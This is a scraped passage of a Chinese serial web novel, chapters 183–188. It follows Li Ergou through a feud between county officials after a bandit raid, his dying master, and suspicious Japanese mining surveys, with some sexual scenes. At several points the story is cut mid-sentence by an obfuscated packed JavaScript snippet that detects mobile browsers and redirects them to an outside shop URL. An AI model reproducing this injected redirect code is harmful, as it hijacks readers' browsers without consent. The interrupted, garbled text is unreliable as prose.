张石头则有些闷闷不乐,警察局没有机枪,也没有迫击炮,他只缴获了一些中正步枪和驳壳枪,这些和陈嘎子的缴获比起来,确实显得有点寒碜。 宋孬蛋敏锐地发现了这一点。 “咱们这次袭击县城,主要任务是为了给清风寨解围,其他都是搂草打兔子,捎带着的事。” 牛得水和梁有为赶回县城,却连土匪的毛都没看到。 当他们得知土匪抢劫了警察局和保安团,破口大骂土匪的十八代祖宗。 王正直来到县政府,看到已经被烧成瓦砾的大楼,气得半天说不出一句话。 “牛局长,梁团长,你们一定要找到这伙土匪,将他们碎尸万段,方能解我心头之恨。” “王县长,听说这群土匪是穿着警察的衣服进的城……” “梁团长,你这话什么意思?” 牛得水瞪着一双牛眼,怒视梁有为。 “牛局长不要误会,我只是向王县长如实禀明情况。” “你……” 王正直怒斥道:“你们不要吵了,现在不是推卸责任的时候,最重要的是找出这群土匪到底是什么人。” 梁有为说道:“王县长,卑职认为应该不是清风寨的土匪。” “何以见得?” “咱们攻打清风寨的消息,事先是严格保密的,他们不可能知道,除非……” 梁有为又瞅向牛得水,牛得水脸色铁青,根本不正眼瞧他。 “有话就说。” “除非有人提前泄露了消息。” 牛得水当即反驳道:“消息只有咱们三个人知道,梁团长的意思就是我泄露的呗,你还不如干脆直接报出我身份证号得了。” “牛局长不要激动嘛,我只是在和王县长分析情况,你如果有看法,也可以说出来嘛。” 牛得水说道:“城门治安一直由保安团负责,可土匪却神不知鬼不觉地进了城,这里面有没有里应外合也一定要好好调查调查。” 第183章 胡士高病危 “牛局长,你……” 梁有为被牛得水气得一时语塞,他没想到牛得水如此无耻。 王正直被他们争吵得头晕脑胀。 “好了,不要再吵了,吵解决不了问题,这件事就由牛局长负责,调查清楚后直接向我汇报。” “是,王县长,卑职一定揪出内鬼。” 梁有为冷“哼”一声,越看牛得水越觉得他不顺眼。 说什么揪出内鬼?不就是想把屎盆子全扣在保安团头上吗? “王县长,那清剿清风寨一事,您看……” 县城被破,县政府被烧,上级知道了还不知道怎么处理王正直,他现在哪还有什么心思去清剿一个小小的清风寨。 “这次事情闹得这么大,他们肯定早已得到消息,做好了应对准备,现在再去清剿清风寨,定会损失巨大,我看这件事还是先放一放吧。” “卑职明白。” 王正直挥挥手,示意他们先离开,王正直想一个人静静。 从县政府的废墟中走出来,牛得水和梁有为彼此“呸”了一声,转身离去。 此时的清风寨里,到处是一片欢声笑语。 大家在聚义大厅里大碗喝酒,大块吃肉,庆祝劫后余生。 “狗哥,你这一招围魏救赵的策略真是前无古人,后无来者啊,兄弟我实在是佩服佩服。”宋孬蛋恭维道。 李二狗笑骂道:“孬蛋,你狗日的马嚼子戴在牛嘴上——净胡勒,前无古人的话,围魏救赵这个成语是怎么来的?” 宋孬蛋摸着脑袋,脸不红,心不跳,脸皮也是越来越厚。 “嘿嘿,我这不是表达对你的崇拜之情嘛?不必在意小小的细节。” 李二狗虽然一直提醒自己,千万不能放松对自己的要求,不要被大家的糖衣炮弹所腐蚀。 但他只是一个普通人,面对下属源源不断的的赞美和恭维,有时候也会产生一种飘飘然的感觉。 “你别学着他们一样瞎胡闹,”李二狗正色道,“咱们说点正事,经过这一闹,相信短时间内,政府不会再来清剿清风寨。咱们砸了沈家大院,又大闹江东县城,清风寨一两年内不用再发愁生计了,得好好规划一下未来的路该怎么走。” “是啊,不过狗哥,最近上山来投靠咱们的人多了起来,我想着咱们是不是得制定一个选人用人的标准,我怕什么人都招进来,会破坏山寨安定团结的大好局面。” “你说得对,咱们山寨选人用人一定要把握好两个原则,一是宁缺毋滥,二是人尽其才,千万不能一粒老鼠屎毁了整锅汤。” “可有人上山投靠,咱们也不好都拒之门外啊。” “孬蛋,你记住,咱们山寨目前还处于起步阶段,不能一味追求队伍数量,首先要做的是练好内功,通过不断完善各项规章制度,以制度促管理,打造一支‘素质高、本领强、作风硬’的铁军。” 李二狗说的太专业,宋孬蛋一时也没领会明白。 “狗哥,那有人来投靠咱们,咱们收还是不收?” 李二狗也不怪宋孬蛋不能立刻领会自己的意图,自己说的这些也是刚刚从吴有德送给自己的几本书上学到的。 吴有德最近刻意在提升李二狗各方面的素质,以便为他未来接自己的班未雨绸缪。 “对能力特别突出的可以收,当然即使这个人能力突出,在加入之前也一定要调查清楚他的家庭背景,祖上有犯罪记录的一概不收。” 看着宋孬蛋还是一脸茫然,李二狗干脆说道:“你自己把握吧,只记住一点,严格控制进入人数。” 宋孬蛋心想,李二狗这话的意思就是不招人,自己何必再问。 “好的,狗哥,我明白了。” “孬蛋,让你打听周边市县旱情的事怎么样了?” “派出去的兄弟有几个已经回来了,情况和咱们江东差不多,也是大半年没下雨,看来今年的情况不容乐观啊。” “那就别等了,抓紧买粮。” “三哥那边的粮囤还没建好,我们是不是再等等?” “先买回来一部分再说,不能一下子都买回来,那样会造成粮价的波动,至于老三那边我再催催他。” 李二狗打算让胡家大院也囤积一些粮食,短时间内购入那么多,肯定会造成周边粮价的上涨,必须神不知鬼不觉的分批次完成。 忙完山寨的事,李二狗回到凤凰镇,把李素文接回清风寨,两人又忙活了一阵造人计划。 第二天上午,李二狗才拖着疲惫的身体回到胡家大院。 张二驴见到李二狗,赶紧跑过来。 “李管家,不好了,老爷出事了。” “二驴,老爷怎么了?” “三奶奶派人从省城传回消息,说老爷病危,让家里快点派人过去。” “二驴,你看好胡家大院,我得马上去趟省城。” 紧赶慢赶,李二狗到达省城的时候,天色已经黯淡下来。 他来到医院,看到念秋正在病房里打盹。 胡士高躺在病床上,双目紧闭,气息微弱,几日不见,已瘦得皮包骨头。 “念秋,念秋!” 念秋醒过来,看是李二狗,急忙站起来说道:“李管家,您可来了。” “三奶奶呢?” “她……她有事出去了。” 宋小曼在省城还有事,这倒令李二狗有些惊讶。 “老爷的病怎么样了?医生怎么说?” 念秋眼泪就下来了,说道:“医生说,让咱们把老爷接回家,老爷的病已经治不了了!” “你吃饭了吗?” “还没有。” 李二狗掏出两块大洋塞到念秋手中。 “先出去吃点饭吧,我先在这看着。” 念秋感动得涕泪横流,这段时间,宋小曼天天往外跑,都是自己一个人在照顾胡士高,早已累得身心疲惫。 “李管家,我还不饿,要不您先去吃吧。” “你先去吧,吃完还得回来守着,我晚上有事要出去一趟。” 念秋便攥着两块大洋出了病房。 李二狗看着躺在病床上奄奄一息的胡士高,此刻倒有些同情他。 作威作福了一辈子,到头来妻儿无一人守候在自己跟前,想来真是可怜可悲可叹。 也许是他这辈子作恶太多,上天对他的惩罚吧。 第184章 一缸水活不了大鲤鱼 宋小曼回到病房,看到李二狗时,表情微微有些不自然。 “李管家,你什么时候到的?” “我刚到一会,三奶奶这是去哪里了?” “我……我刚才出去买了点东西,念秋这丫头真是不懂事,也不知道跑到哪里去了?” “是我刚才让她出去吃点东西。” 李二狗看着宋小曼,此时的她和在胡家大院时相比,白里透红,面色红润,脸上竟洋溢着一种青春的朝气。 “李管家,正好我有件事想和你商量一下。” “三奶奶,您请说。” “医生说,老爷这病已经无药可治,让接回家养着,但我觉得,省城医院终归比在家里照顾的更妥帖一些,你看是不是让老爷在医院再多住一些日子?” 李二狗的第一反应是宋小曼不想离开省城。 “您是三奶奶,这事还得您做主。” “那就再住些日子吧,反正胡家大院也不缺这点钱。” “也好,等我回去禀明大奶奶,就是还得辛苦三奶奶再多照顾老爷一些时日。” “不辛苦,这都是我应当应份的。” 正在这时,念秋回来了。 “三奶奶,您回来了。” 宋小曼看了念秋一眼,说道:“念秋,你真是越来越不懂规矩了,怎么自己去吃饭,让李管家在这里照顾?” 李二狗说道:“三奶奶,这个不怪念秋,是我让她去的,照顾老爷本来也是我应该做的。” “还不快谢谢李管家?” “谢谢李管家。” 两人又聊了一会胡士高的病情。 李二狗看时间不早了,便问道:“三奶奶,您住在哪?我送您回去。” 宋小曼急忙说道:“我就住在医院对面的酒店,很近,我自己回去就行。” 李二狗说道:“还是我送您回去吧,正好我要出去办点事。” 宋小曼便说道:“那就谢谢李管家了,念秋,你好好照顾老爷,有什么事到酒店找我。” “知道了,三奶奶。” 李二狗和宋小曼一起走出病房。 宋小曼走在前面,李二狗走在身后。 宋小曼今天上身穿了一件天蓝色针织衫,下身穿了一条黑色裤子,脚上穿着一双平底的黑色皮鞋,很有女大学生的风范。 “三奶奶,听说您上过大学,是在省城吗?” “是的,省城的师范大学。” 李二狗不明白,宋小曼堂堂省城师范大学的学生,为何会嫁给胡士高。 出了医院的大门,对面果然有一家酒店。 “李管家,我到了。” “三奶奶,您早点休息。” 宋小曼点点头,进了酒店。 李二狗微微有些失望,宋小曼如果请他上去喝杯咖啡,不知道他会不会拒绝? 想到这,李二狗笑了,白日做梦! 他招手叫了一辆黄包车,直奔百乐门大舞厅。 静雯见到李二狗,自是喜上眉梢。 她挽着李二狗的胳膊直接上了二楼办公室。 静雯边关门边脱李二狗的衣服。 “狗,人家都想死你了。” 李二狗的大手则已经从后面伸进了静雯的旗袍里,双手上下游走。 “哪里想?” “哪里都想!” “哪里最想?” “上面下面都最想!” “小东西,看哥今天怎么收拾你……” “啊……” 静雯忍不住打了李二狗一下,“这里是办公室,你是不是故意的?” “是啊,我就是故意的,要不咱们回家再说?”李二狗一脸坏笑地说道。 “哼,这都电闪雷鸣的,哪还等得了回家?!” “那就让大雨来得更猛烈些吧……” …… 办完事,李二狗问道:“搬到吴公馆住,还习惯吗?” “还好吧,我这每晚都得凌晨一两点才回去,早上起床时干爹已经出去了,有时候也是好几天见不着面。” “干爹身体还好吗?” “挺好的,只是……”静雯欲言又止。 “只是什么?” “我发现最近干爹和那个明石有信的来往越来越密切,他们好像在合伙做什么生意。” “那个明石有信到底是什么背景?你了解吗?” “我侧面打听过,明石有信背后是日本井伊家族,他是井伊直虎的女婿。” “井伊家族?” “井伊家族在日本是名门豪族,有日本皇室的血统,而且井伊直虎的爷爷在日俄战争中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837233|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立过大功,在军界是一个传奇人物。” “那如此看来,明石有信并不单单只是一个生意人这么简单,他们之间做的什么生意你知道吗?” “好像是煤矿之类的生意,具体的我也不知道,你还是回去亲自问问干爹吧。” 李二狗也不知道为什么,总感觉日本人和吴有德做生意有什么企图。 “今天咱们几点回去?” “你等我一下,我下去安排一下。” 很快静雯就回来了。 “走吧,我们回家。” “早知道这么早就回家,刚才就不应该急不可耐的,哈哈。” “你真讨厌!” 两人回到吴公馆,吴有德正在书房看书,听到李二狗来了,急忙走了出来。 “二狗,什么时候来的?” “干爹,我这刚到省城就来看您了,这回您挑不着我理了,哈哈!” “嘴上说的好听,那你怎么和静雯一起回来了?莫不是刚才在门口遇到的?” “干爹英明,确实是刚刚在门口碰上的。” “你小子这嘴,鬼才信你!吃没吃饭?我让厨房做几个菜,咱爷俩喝两盅?” 李二狗正好有话要说,便说道:“那就陪干爹喝两盅。” 静雯知道李二狗准备和吴有德谈什么,自己在场反而不便,便说道:“你们喝,我先上去睡个美容觉。” “二狗,你这次来是为了什么?” “我们老爷快不行了,医院让接回家。” “那你什么打算?” 李二狗一时没明白吴有德的意思。 “我是说,你们老爷要是去世了,你接下来有什么打算?还在那个地主大院当管家?二狗,你要知道,一缸水活不了大鲤鱼。” “干爹,再给我一些时间,等我处理完那边的事就来省城帮您。” “你小子,肯定有什么事瞒着我,好,你不想说,我也不问,干爹就一句话,干爹等你来。” “干爹放心,等我忙完那边的事第一时间就来孝顺您。” 吴有德内心很欣赏李二狗的为人,自己这么大的家业,要是换做别人,早就上赶子来鞍前马后了。 李二狗面对这么大的诱惑却能无动于衷,这是怎样的人品? 第185章 日本贵族 “二狗啊,干爹老了,也喜欢那种子孙绕膝的感觉,你能懂干爹的意思吧?” 李二狗不想让气氛太过压抑,便说道:“干爹放心,我和静雯正在努力,争取明年让您抱上孙子。” “你这小子,就一张嘴甜。” “嘿嘿,干爹,如果静雯给我生个儿子,我打算让他随您姓吴,您看怎么样?” 吴有德感动得老泪纵横。 “二狗啊,咱们别喝酒了,你快上去陪静雯吧。” “干爹,看您心急的,只要种子好,还愁种不出好庄稼?” “哈哈哈,好,不愧是我吴有德的干儿子,来,喝!” 酒过三巡之后,吴有德已经有了一些醉意。 “干爹,我听说您和井伊商社在做煤矿的生意?” “你听静雯说的?” “是啊,我总感觉和日本人做生意……” “二狗啊,你对日本人有误解,日本人又不是豺狼虎豹,和他们做正当生意是没有问题的。” “干爹,我听说井伊商社是日本井伊家族开办的,而井伊家族在日本是贵族,势力很大?” “势力那是相当大!二狗,你有所不知,日本是一个等级制度非常分明的国家。在明治维新之前,普通的老百姓连姓氏都没有。别看日侨在中国这么横行霸道,他们在日本碰到贵族连头都不敢抬。” “那您和势力这么庞大的家族做生意,会不会有什么风险?” “二狗,井伊家族是日本贵族,什么是贵族?首先得讲信用,那才称得上是贵族,不是那些阿狗阿猫能比的。他们勘探和开采煤矿的技术在世界上都是一流的,和他们合作咱们稳赚不赔!” “具体怎么合作?” “很简单,他们负责出技术和人才,咱们除了负责出钱之外,还负责打通政府上下的关节。” “范围呢?只在咱们省?” “只在咱们一个省哪够啊,华北几个省都得勘探。” “那现在只是勘探吗?开采了吗?” “目前还处于勘探阶段,等勘探完了再开采,到时候咱们等着数钱就行了。” 李二狗隐隐有种担忧,日本人只勘探不开采,他们这哪是勘探,完全是把华北几省的地形地貌全部摸了个遍。 如果有一天,他们要侵略中国,那中国在他们面前将毫无秘密可言。 但这只是李二狗的猜测,他知道只靠猜测肯定无法说服吴有德。 “干爹,如果有机会,希望您带我见见井伊商社的人,我也好长长见识。” 吴有德闻言,以为自己的话改变了李二狗对日本人的看法,高兴地说道:“这个简单,明天晚上明石有信在井伊商社举行一个舞会,邀请了我,到时候咱们一起去。” “好,来,干爹,我再敬您一杯。” 两人又干了一杯,吴有德催促道:“好了,今天晚上就到这吧,你快去陪静雯吧。” “嘿嘿,还是干爹疼我,那我先上去了,干爹您也早点休息。” 第二天上午,李二狗再次来到医院,病房里只有念秋一人。 “李管家,您来了。” “三奶奶呢?还没起床吗?” “不是,三奶奶一大早来了一趟医院,然后就出去了。” 李二狗心想,这个宋小曼,不会是在省城有相好吧?难道是遇到了旧情人? “她说去哪里了吗?” 念秋有些尴尬地说道:“没有,三奶奶没说。” “念秋,老爷现在这个样子,你也不用时时守在这里,到点就去吃饭,这边有医生和护士。” 念秋说道:“谢谢李管家,我知道了。” 李二狗掏出五块大洋放到念秋手里,念秋却推却着不敢要。 “拿着吧,平时别舍不得吃,吃点好的。” 念秋感动的泪眼汪汪,以前她和李二狗并没有多少交集,还曾经打过他一个耳光,不知道现在他为什么对自己这么好? 难道是喜欢上自己了? 想到这,念秋赶紧捋了捋额前有些凌乱的刘海。 “李管家,我都听您的。” 李二狗对念秋报之以微笑,当念秋以为李二狗还会有进一步行为时,没想到李二狗却说道:“我还有事,先走了。” 念秋看着李二狗的背影发呆,他真是一个有魅力的男人,以前怎么就 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“吴先生,您来了,里面请。” 明石有信穿着一身素色日本和服,双手垂立,恭敬地鞠躬行礼。 “明石先生,我来给你介绍一下,这位是我的义子李二狗。” “李先生,幸会幸会。” 明石有信显得既有礼貌又十分热情。 面对明石有信伸过来的手,李二狗轻轻碰触了一下,不冷不淡地说道:“明石先生,幸会。” “里面请。” 三人来到一个小包厢,中间放着一张卓袱台,上面摆满了茶具,一个日本女人双手放置身前,上身笔直地跪在地上。 她身穿一身精致的大红色和服,衣领开得很大并后倾,刻意露出修长的脖颈,肤色雪白如瓷。 鲜花般娇美的面容,眉毛细长,如同弯月,眼角处涂抹着古色的胭脂红,给人一种妩媚感。 烈焰般的红唇,优雅的举止,一颦一笑一回眸间尽显柔情。 第186章 酒井空 李二狗学着吴有德的样子在门口脱掉皮鞋,走进房间,双腿交叉,坐在卓袱台前。 李二狗是汗脚,脱掉皮鞋,一股轻微的脚臭味慢慢弥散开来。 好在晚上出门的时候,静雯给李二狗换了新鞋袜,不然整间屋子都得被他的脚熏得睁不开眼。 明石有信依然保持着明媚的笑容,他一个眼神,日本女人便开始沏茶。 她动作轻柔、举止优雅,处处流露出一种古典式的教养。 李二狗从未见过举止如此优雅的女人,忍不住多看了她几眼。 明石有信敏锐地注意到李二狗的眼神,嘴角露出一丝不易察觉的笑容。 李二狗自知在日本人面前失态,实在是有损国体人格,他心中暗骂自己下流,看着漂亮女人就挪不开眼。 “明石先生,听说最近勘探队又在热河省勘探出两个煤矿,祝贺你,来,我以茶代酒,敬你一杯。” 明石有信笑道:“吴先生,应该是祝贺我们。” “哈哈,对,对,祝贺我们,请。” “您请!” 李二狗学着他们的样子,端起面前的茶杯,茶杯小的像酒盅,茶液上漂浮着一层细腻的泡沫。 他把茶杯捏在手里,放在鼻尖下闻了闻,有一股浓郁的茉莉花香,轻轻抿了一口,初尝时有微微的苦涩,随后转为甘甜。 “明石先生,如果我记得没错的话,从去年开始,勘探队已经勘探出七处煤矿,只是不知道什么时候开采这些煤矿?你也知道,不开采就没有利润……” “吴先生,不要着急嘛,开采煤矿,需要向你们中国政府**手续,这些都需要时间。” “政府那边的手续我可以帮着协调,这些明石先生都不要担心。” “我当然相信吴先生有这个实力,只不过开采煤矿涉及到方方面面,我们不能着急,必须从长计议。” 李二狗心想,勘探出煤矿却又不开采,难道日本人是来中国做慈善的吗? 事出反常必有妖,日本人肯定没憋什么好屁! “明石先生,你也知道,勘探煤矿投入巨大,我这有点吃不消啊。” “哈哈,吴先生,我知道你的实力,你就不要谦虚了,我们井伊商社也同样投入了大量的资金,你放心,和我们大日本帝国合作,是绝对不会亏待你的。” 李二狗心想,明明只是一些生意上的往来,明石有信却有意无意地搬出什么大日本帝国,看来此人背景绝不简单。 “二狗,你先出去跳跳舞吧,外面有不少日式小点心,味道很不错,你也可以尝一尝。” 吴有德把李二**开,肯定是有什么话想单独和明石有信谈,李二狗起身说道:“明石先生,待会再见!” 明石有信特意站起身,向李二狗鞠了一躬,说道:“李先生,您请自便!” 李二狗穿上皮鞋走了出去,这才一盏茶的功夫,腿都跪麻了,日本人真**能折腾。 一楼大厅放着李二狗从未听过的靡靡之音,舞池中男男女女搂在一起跳着千篇一律的舞蹈。 李二狗坐在一个沙发上,拿起旁边一个绿色小点心放到口中,竟有一种茶叶沫子的味道。 看着搂抱在一起的男男女女,李二狗突然发现一个有趣的现象。 舞池中的男人,衣着相貌上并没有什么区别,但他却能分出哪些是中国男人,哪些是日本男人。 搂着穿和服女人的是中国男人,搂着穿旗袍女人的是日本男人,看来普天下的男人都一个熊样,不论什么国籍,都喜欢换个口味。 李二狗正对自己的新发现沾沾自喜时,一个身穿旗袍的女人扭动着纤细的腰肢走了过来。 “先生,能请您跳个舞吗?” 李二狗看到一张精致而绝美的脸庞。 弯长的柳眉、圆圆的大眼、高挺的俏鼻、小小的嘴,每一处都蕴含着独特的韵味。 她脸泛红霞,微带酒晕,容光更增丽色。 但她的中文发音却分明是一个日本女人。 “小姐是日本人?” “是的,先生,请多关照!” 李二狗被“啪啪”打脸。 “可以邀请您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李二狗一直埋藏在心里的白月光,那么亮却又那么冰凉。 第187章 她没把你魂儿勾走吧 “二狗先生,我们还是快上楼吧。”酒井空催促道。 李二狗已经完全没有了刚才的性致,尽管这个日本女人看起来是如此的精致。 “酒井小姐,我头突然有些不舒服,咱们先去那边沙发坐会,喝点东西吧。” 酒井空脸上明显露出失望的神色,但她必须保持日本女人惯有的优雅。 “好吧,我陪先生喝一杯。” 此时的李二狗,心思已经完全在宋小曼身上,他的眼睛总是时不时地看向舞池中宋小曼。 她到底是以什么身份出现在这里? 她到这里的目的到底是什么? 李二狗越想不明白,越想弄明白! “二狗先生,你和吴有德是什么关系?” 李二狗闻言,立刻意识到,这个女人显然是有备而来,一定是明石有信专门派来的。 她接近自己的目的无非就是因为自己是吴有德的干儿子,以后可能继承吴氏产业。 还好自己刚才保持住了定力,没有跟她上楼。 “吴有德是**爹,酒井小姐认识**爹?” 酒井空捂着嘴笑道:“吴有德吴爷的大名,在省城谁人不知,谁人不晓,他是我们井伊商社的合作伙伴。” “原来如此,以后还请酒井小姐多多关照。” 酒井空莞尔一笑,说道:“关照不敢当,深入交流交流还是可以的。” 她娇滴滴地握住李二狗的手,手指在他手背划来划去。 痒痒的,麻麻的,李二狗没想到日本女人竟如此主动。 “酒井小姐,请稍等,我先去趟洗手间。” “那你快点,我在这里等你。” 李二狗起身去了洗手间,因为她看到宋小曼刚刚进了洗手间。 很显然,宋小曼在等李二狗。 “你怎么在这里?”两人几乎同时问道。 “你先回答我!” 宋小曼瞪着李二狗,仿佛他出现在这里影响了她的大事一般。 “我和日本人谈点生意。” 宋小曼阴阳道:“谈生意?呵呵,你一个乡下土财主的管家还和日本人谈生意?我以前还真是小瞧你了。” “日本人也得吃喝拉撒,和他们谈点生意怎么了?倒是你,到这里来干什么?” 李二狗上下打量着宋小曼,在医院的时候穿得像一个女学生,而此时却穿得像个**,那旗袍都开叉到大腿根了。 宋小曼看李二狗看自己的眼神,就知道他心里一定有了龌龊的想法。 “我没有你想的那样无耻!” 李二狗内心稍安,接着问道:“那你到这里是为了什么?” “我的事,不用你管!你最好记住,咱们今天没有见过面,你要敢说出去,我……我阉了你!” 正在这时,酒井空突然出现在宋小曼身后,李二狗急中生智,一把推开宋小曼。 “都和你说了,我没兴趣,别来缠着我!” 宋小曼刚要发作,李二狗已经看向她身后。 “酒井小姐,你也来上洗手间?” 酒井空看了一眼宋小曼,说道:“看二狗先生这么久没出来,我来看看你是不是掉进茅坑里了,嘻嘻,这位小姐是?” 李二狗把手搭在酒井空肩膀上,说道:“一个毫无礼义廉耻的女人,我们走,别理她!” 宋小曼气得胸脯子一抖一抖的,暗骂道:“李二狗,你真无耻!” “二狗先生,我看那位小姐看你的眼神有点不一样。” “不一样?哈哈,哪里不一样?她只不过是贪图我钱包里的钱财罢了。” “我看不像,她的眼神里面有哀怨,还有不甘!” “哀怨?不甘?哈哈,我看酒井小姐是言情小说看多了,产生了幻觉,我怎么就没发现呢?” “二狗先生,你不要怀疑我们女人的直觉。” “直觉?我只相信实实在在的感觉,就像现在我握着你的手,便有一种怦然心动的感觉。” “嘻嘻,二狗先生倒是挺会哄女人开心,不过我喜欢。” 李二狗总觉得酒井空这个女人不简单,天下没有免费的午餐,她这么明目张胆地勾引自己,一定有着不可告人的目的。 李二狗发现宋小曼一直在盯着自己,按照常人的思维,宋小曼在这种场合碰到熟人,理应立刻离开才对。 她不走,说明还有更重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840800|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要的事情要做。 “二狗先生,我们去楼上吧,这里太吵了。” “酒井小姐,我这头晕得厉害,一会就回去了,这次就先不上去了,咱们改日再交流吧。” “现在就要走吗?这里一会还有宴会,夜生活才刚刚开始。” “我也舍不得,可……,这次扫了酒井小姐的雅兴,真是对不起,改日我请你吃日本料理好吗?” “那一言为定,我等你哦。” 门开了,吴有德和明石有信一起走了出来。 “吴先生,还是喝两杯再走吧?” “不了,我还有事,下次我请明石先生。”吴有德看向李二狗,问道:“二狗,你跟我一起走,还是再待会?” “我和干爹一起走。” “李先生,一会还有酒会,可以让酒井小姐陪你喝两杯再走。” “谢谢明石先生的好意,我今天身体有点不适,怕扫了酒井小姐的兴,还是下次吧。” “那我就不勉强两位了,慢走!” “明石先生留步!” 李二狗看向宋小曼,不知道什么时候她已经消失不见了。 “二狗,二狗,我们走了。” 李二狗不得不跟上吴有德的脚步,离开了井伊商社。 “干爹,这个酒井空是什么人?” 吴有德笑道:“二狗,她没把你魂儿勾走吧?” 李二狗尴尬一笑,说道:“干爹,怎么会呢?我可是很有定力的男人。” “哈哈,这种事在生意场上难免,对于男人来说,并不是什么大事,不过这个酒井空,你最好离她远一点,她**可是不吐骨头的!” “干爹,你唬我吧,哈哈,一个日本女人而已,除了长得妖媚一些,也并没有什么不一样。” “你可千万不要小瞧了这个女人,她是明石有信身边最得力的助手,绝非你表面看到的那么简单。” 李二狗有些想不明白,明石有信让酒井空勾引自己,到底是什么目的? 即使自己是吴有德的干儿子,可现在吴有德刚满六十岁,并没有隐退之意,李二狗根本没有任何话语权。 那她为什么勾引自己呢? 第188章 宋小曼彻夜未归 李二狗心里一直想着宋小曼的事情。 “干爹,您先回家,我得去一趟医院看看。” “好,待会儿我把你放在医院门口。” 李二狗来到医院,念秋正在病房打瞌睡。 听到动静,念秋醒了过来。 “李管家,这么晚了,您怎么来了?” “我来看看老爷,”李二狗看了一眼病床,胡士高嘴里哼哼唧唧,“三奶奶没来吗?” “三奶奶今天早上来了一趟就没再过来。” “我找三奶奶有点事,你知道她住在哪个房间吗?” “对面酒店333房间,”念秋瞅了一眼墙上的挂钟,“这个点三奶奶应该睡了。” “念秋,待会我让医院在房间里加一张床,这样晚上你可以睡一会。” 念秋感动得泪眼婆娑,自从她被卖到胡家大院之后,从来没有人这样关心过她,包括宋小曼。 “李管家,您对我这么好,我都不知道该说什么了,谢谢您。” “念秋,以前是我对你关心不够,你别怪我,以后我改正。” 念秋说道:“李管家,我只是一个小丫鬟,您能关心我,是我的福气,我怎么敢怪你呢?!” “念秋,在外边就叫狗哥,有事找狗哥,狗哥都给你办。” “谢谢狗……哥,您快去找三奶奶吧,您放心,我和谁都不说。” 李二狗没想到念秋还是一个很机灵的姑娘,至少比迎春机灵。 “你好好休息,明天我再过来,给你带好吃的。” “谢谢狗哥。” 念秋开心得像个孩子,其实她本来也是孩子。 李二狗来到医院办公室,找到张明白,张明白自然知道他和吴有德的关系。 “李先生,这么晚了还没睡啊?找我什么事?” “张医生,麻烦你安排人在病房加张床,陪床的人没地方睡觉,确实有些辛苦。” “这点小事,我马上就安排。” “谢谢张医生,吴爷经常和我提起你,说你不仅医术高超,还医者仁心,吴爷很看好你。” 张明白开心极了。 “吴爷错爱了,我一定秉持从医初心,不辜负吴爷对我的厚爱和期望。” 安排完加床的事,李二狗才来到医院对面的酒店,径直上了三楼。 敲了半天门,里面并没有回应,宋小曼并没有回来。 李二狗来到酒店大厅,等了大约一个小时,还是未见宋小曼回来。 他走到服务台,服务台的一个女服务员已经盯着李二狗很久了。 “你好,我是333房间的朋友,她还没有回来,我找她有点急事,等她回来麻烦你给这个号码打个电话好吗?” “这……,先生,您知道的,我们不能随便泄露客人的隐私,您可以留下姓名和电话,到时候我会转告给333房间的客人,您看这样可以吗?” 李二狗心想,宋小曼即使回来,也不会给自己打电话,而且他也不想让宋小曼知道自己住在吴公馆。 他从兜里掏出两块大洋,放在服务台上。 “请帮帮忙。” 服务员笑靥如花,笑容特别温暖。 “先生,请您留下电话,客人一回来我立马打给您。” “谢谢。” 李二狗留下电话,离开了酒店。 回到吴公馆,李二狗告诉佣人,如果有电话找自己,一定立刻告诉自己。 回到房间,静雯还没有下班回来。 李二狗洗了个热水澡,躺在床上,等静雯的同时也等电话。 宋小曼这么晚还没有回酒店,会不会出什么事? 迷迷糊糊中李二狗睡着了,睡梦中,酒井空一件件脱掉身上的衣服,非要和他进行深入地交流。 “不要,不要……” 李二狗喊着不要醒来,静雯正俯身看着他。 “你不要什么?吓成这个样子!” 李二狗的心还在砰砰跳个不停。 “你怎么这么晚才回来?” “最近舞厅事情比较多,我不在那里不放心。” “你总这么晚,我很心疼。” 静雯笑着俯身亲吻了李二狗的额头。 “没事,累并快乐着。” “快睡吧,很晚了!” 两人相拥而眠,李二狗鼓鼓囊囊的身体才得以释放。 第二天一早,李二狗起床来到客厅。 “昨晚没有电话找我吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840801|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>“没有!” 宋小曼彻夜未归,李二狗心神难安。 她如果只是在外边有一个相好,倒并不是什么大问题,李二狗担心她在井伊商社出事。 吃早饭的时候,吴有德问道:“二狗,看你脸色不太好,怎么了?昨晚没睡好?” 李二狗嘿嘿一笑,说道:“干爹,静雯昨晚半夜才回来,回来又忙活了一阵,确实没睡好。” 